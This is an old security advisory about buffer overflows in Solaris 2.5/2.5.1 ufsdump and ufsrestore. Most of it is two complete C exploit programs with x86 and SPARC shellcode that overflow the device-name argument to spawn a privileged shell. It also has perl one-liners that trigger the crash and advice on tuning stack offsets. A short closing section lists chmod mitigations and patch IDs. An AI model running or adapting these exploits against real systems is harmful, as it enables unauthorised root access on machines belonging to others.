COMMAND
/usr/lib/fs/ufs/ufsdump (and /usr/lib/fs/ufs/ufsrestore)
SYSTEMS AFFECTED
Sun 2.5, 2.5.1
PROBLEM
Following info is based on Sun Security Advisory. The ufsrestore
utility is used to restore files from backup media created with
the ufsdump command. A vulnerability has been found in ufsrestore
which, if exploited, would permit a user to become root. Exploit
follows. Originally this was found by Seth McGann. Firstly,
/usr/lib/fs/ufs/ufsdump will segfault if passed a device name of
sufficent length. Straight forward overflow. When the shellcode
executes /bin/id, it says the egid=tty. It may be nice to be tty,
even if we can't be root. The second problem,
/usr/lib/fs/ufs/ufsrestore also segfaults when passed a device
name of sufficent length. However, on inspection with gdb it is
evident that once the EIP is overwritten, execution jumps to 0x0.
To test the vulnerability:
/usr/lib/fs/ufs/ufsdump 1 `perl -e 'print "a" x 2000'`
/usr/lib/fs/ufs/ufsrestore xf `perl -e 'print "a" x 2000'`
Here's the exploit for ufsdump:
/* ufsdump.c
* Description: Overflows a buffer to give you EGID=tty.
* At least that's what id reports.
* The running shell thinks its still the user. Maybe I'm
* doing something wrong? At any
* rate, here ya go, have fun.
*
* smm@wpi.edu
* Thanks to: Jesse Schachter for the box, and
* Unknown parties for the shellcode. (probably Aleph1).
*/
#include <stdio.h>
static inline getesp() {
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv) {
int i,j,buffer,offset;
long unsigned esp;
char unsigned buf[4096];
unsigned char
shellcode[]=
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
"\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
"\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
"\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
"\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
"\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
"\xff\xff\xff/bin/sh";
buffer=895;
offset=3500;
if (argc>1)buffer=atoi(argv[1]);
if (argc>2)offset=atoi(argv[2]);
for (i=0;i<buffer;i++)
buf[i]=0x41; /* inc ecx */
j=0;
for (i=buffer;i<buffer+strlen(shellcode);i++)
buf[i]=shellcode[j++];
esp=getesp()+offset;
buf[i]=esp & 0xFF;
buf[i+1]=(esp >> 8) & 0xFF;
buf[i+2]=(esp >> 16) & 0xFF;
buf[i+3]=(esp >> 24) & 0xFF;
buf[i+4]=esp & 0xFF;
buf[i+5]=(esp >> 8) & 0xFF;
buf[i+6]=(esp >> 16) & 0xFF;
buf[i+7]=(esp >> 24) & 0xFF;
printf("Offset: 0x%x\n\n",esp);
execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
}
... and here's another that won't work or will. Original author
had a lot of people contact him and tell him that the exploit
either works on all of their machines, or doesn't work at all.
The way he originally wrote it, it jumps into where argv[0] sits
above the stack. Assuming that solaris works the same way as bsd
in this respect (please correct me here), the memory looks like
this:
env strings
argv strings
env pointers
argv pointers
stack
So, the exploit's fake return address was based upon the offset
between a place in the stack, and the first argv[] string. The
problem with this is that if someone has a different number of env
variables defined, the number of env pointers will be higher,
and the accuracy of the guess will be shot. So, you can either
mess with the offset by passing an argument that is a multiple of
8, or you can rewrite it to jump into the stack. (just gdb a core
dump and do x/42 0xefffd000 or somewhere near that (sometimes its
at 0xdfffxxxx on some 2.4 boxes i think) and hit enter until you
find the shellcode).
// ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit
// by humble
// thanks to plaguez for help
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 300
#define EXTRA 100
#define STACK_OFFSET -600
#define SPARC_NOP 0xac15a16e
// normal shell code cept I added a bunch of sll's and add's
// to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7)
// I don't know sparc assembly so this might be dumb :P
// also added code to do seteuid(0); setuid(0); from erik's buffer
// overrun page
u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
"\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0,a=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
printf("hit ctrl-c and then type y\n");
execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0);
perror("execl failed");
}
SOLUTION
Patches 105722-01 and 105724-01 don't address this vulnerability.
Fix for now:
chmod ug-s /usr/lib/fs/ufs/ufsdump
chmod u-s /usr/lib/fs/ufs/ufsrestore
The following patches are available in relation to the above
problem (NOTE: ONE FOR 5.5.1 DOESN'T SEEM TO WORK AT ALL!!!!!):
SunOS Patch ID
----- --------
SunOS 5.5.1 104490-05
SunOS 5.5.1_x86 104491-04
SunOS 5.5 103261-06
SunOS 5.5_x86 103262-06